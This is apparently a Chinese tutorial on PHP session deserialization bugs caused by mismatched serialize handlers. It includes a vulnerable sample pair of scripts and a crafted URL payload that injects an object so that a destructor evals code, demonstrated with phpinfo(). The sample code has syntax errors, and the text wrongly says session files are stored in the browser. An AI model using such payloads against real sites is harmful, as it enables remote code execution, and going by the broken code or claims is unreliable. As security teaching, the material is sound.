session的反序列化漏洞,就是利用php处理器和php_serialize处理器的存储格式差异而产生
漏洞大概流程和思路
a.php(用php_serialize处理器)执行后会将内容用php_serialize处理器序列化然后在浏览器上存储一个文件,名字为:sess_sessionid
b.php(用php处理器)执行会从请求头的cookie中带来sessionid,由于浏览器上存在sess_sessionid文件,所以直接去找该文件用php处理器反序列其内容(处理器不同反序列化的内容必然不会跟序列化的内容一直),就触发了_weakup()最后执行_destruct()方法
例题:
a.php
<?phpini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['session']=$GET['session'];
echo $_SESSION['session';]
?>
b.php
<?phpsession_start();
class B{
public $name;
function _wakeup(){
echo "who are you"
}
funtcion _destruct(){
eval($this->name)
}$str=new B();?>
构建URL进行访问:
http://www.session-serialize.com/a.php?session=|O:1:"B":1:{s:4:"name";s:10:"phpinfo();";}
打开PHPSESSID文件可看到序列化存储的内容
a:1:{s:7:"session";s:45:"|O:1:"B":1:{s:4:"name";s:10:"phpinfo();";}
访问b.php 由于sessionid文件名不变,找到文件后用php处理器反序列化文件内容,又
因为php用|作为分隔符,所以竖线后O:1:“B”:1:{s:4:“name”;s:10:"phpinfo();的内容将会被反序列化即执行phpinfo(),所以访问b.php 的内容如下
备注:
PHP session工作流程
以PHP为例,理解session的原理
PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
如果Cookie中存在,获取PHPSESSID
如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
初始化超全局变量$_SESSION为一个空数组
PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件
存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION中
不存在该文件: session_start()创建一个PHPSESSID命名文件
程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中
PHP session序列化机制
根据php.ini中的配置项,我们研究将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中,使用的三种不同的处理格式,即session.serialize_handler定义的三种引擎:
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组
php 处理器存储格式
键名 | 竖线 | serialize() 函数反序列处理的值 |
---|---|---|
$_SESSION[‘name’]的键名:name | | | s:10:“phpinfo();” |
php_binary处理器序列化的结果
键名 | 竖线 | serialize() 函数反序列处理的值 |
---|---|---|
$ | namenamenamenamenamenamenamenamename | s:10:“phpinfo();” |
php_serialize处理器序列化的结果
a:1:{s:4:"name";s:10:"phpinfo()";}
在php.ini中存在三项配置项:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
PHP Session中的序列化危害
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。